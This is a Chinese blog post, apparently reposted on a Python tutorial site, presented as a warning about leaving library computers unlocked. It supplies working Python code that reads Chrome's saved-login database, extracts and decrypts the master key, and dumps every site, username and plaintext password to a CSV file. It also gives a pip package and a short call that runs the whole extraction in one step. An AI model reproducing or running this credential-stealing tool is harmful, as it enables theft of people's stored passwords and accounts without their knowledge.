Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
Python中的__SLOTS__属性使用示例
Feb 18 Python
Python2中的raw_input() 与 input()
Jun 12 Python
python 数据清洗之数据合并、转换、过滤、排序
Feb 12 Python
python模块之paramiko实例代码
Jan 31 Python
python 将数据保存为excel的xls格式(实例讲解)
May 03 Python
python特性语法之遍历、公共方法、引用
Aug 08 Python
Pandas GroupBy对象 索引与迭代方法
Nov 16 Python
python实现图片识别汽车功能
Nov 30 Python
python中类的输出或类的实例输出为这种形式的原因
Aug 12 Python
Python 如何实现数据库表结构同步
Sep 29 Python
python 实现简易的记事本
Nov 30 Python
Python时间操作之pytz模块使用详解
Jun 14 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
抓取YAHOO股票报价的类
2009/05/15 PHP
一步一步学习PHP(5) 类和对象
2010/02/16 PHP
Php Ctemplate引擎开发相关内容
2012/03/03 PHP
PHP框架Laravel中实现supervisor执行异步进程的方法
2017/06/07 PHP
延时重复执行函数 lLoopRun.js
2007/05/08 Javascript
js实现兼容IE6与IE7的DIV高度
2010/05/13 Javascript
jQuery的slideToggle方法实例
2013/05/07 Javascript
jQuery function的正确书写方法
2013/08/02 Javascript
js中的事件捕捉模型与冒泡模型实例分析
2015/01/10 Javascript
php+ajax+jquery实现点击加载更多内容
2015/05/03 Javascript
如何解决谷歌浏览器下jquery无法获取图片的尺寸
2015/09/10 Javascript
jQuery实现仿QQ头像闪烁效果的文字闪动提示代码
2015/11/03 Javascript
js+css简单实现网页换肤效果
2015/12/29 Javascript
实例剖析AngularJS框架中数据的双向绑定运用
2016/03/04 Javascript
js 自带的sort() 方法全面了解
2016/08/16 Javascript
javascript实现电脑和手机版样式切换
2017/11/10 Javascript
nodejs实现爬取网站图片功能
2017/12/14 NodeJs
解决layui上传文件提示上传异常,实际文件已经上传成功的问题
2018/08/19 Javascript
Vuex 快速入门(简单易懂)
2018/09/20 Javascript
js module大战
2019/04/19 Javascript
浅谈vue中document.getElementById()拿到的是原值的问题
2020/07/26 Javascript
微信小程序实现拼图小游戏
2020/10/22 Javascript
[04:40]DOTA2-DPC中国联赛1月26日Recap集锦
2021/03/11 DOTA
python3实现短网址和数字相互转换的方法
2015/04/28 Python
python魔法方法-自定义序列详解
2016/07/21 Python
Python selenium实现微博自动登录的示例代码
2018/05/16 Python
Python单元和文档测试实例详解
2019/04/11 Python
利用python实现PSO算法优化二元函数
2019/11/13 Python
Python descriptor(描述符)的实现
2020/11/15 Python
利用Python将多张图片合成视频的实现
2020/11/23 Python
奢华的意大利皮革手袋:Bene Handbags
2019/10/29 全球购物
颇特女士香港官网:NET-A-PORTER香港
2021/03/08 全球购物
医院护士求职自荐信格式
2013/09/21 职场文书
JavaWeb Servlet实现网页登录功能
2021/07/04 Java/Android
CentOS7环境下MySQL8常用命令小结
2022/06/10 Servers
基于Python实现nc批量转tif格式
2022/08/14 Python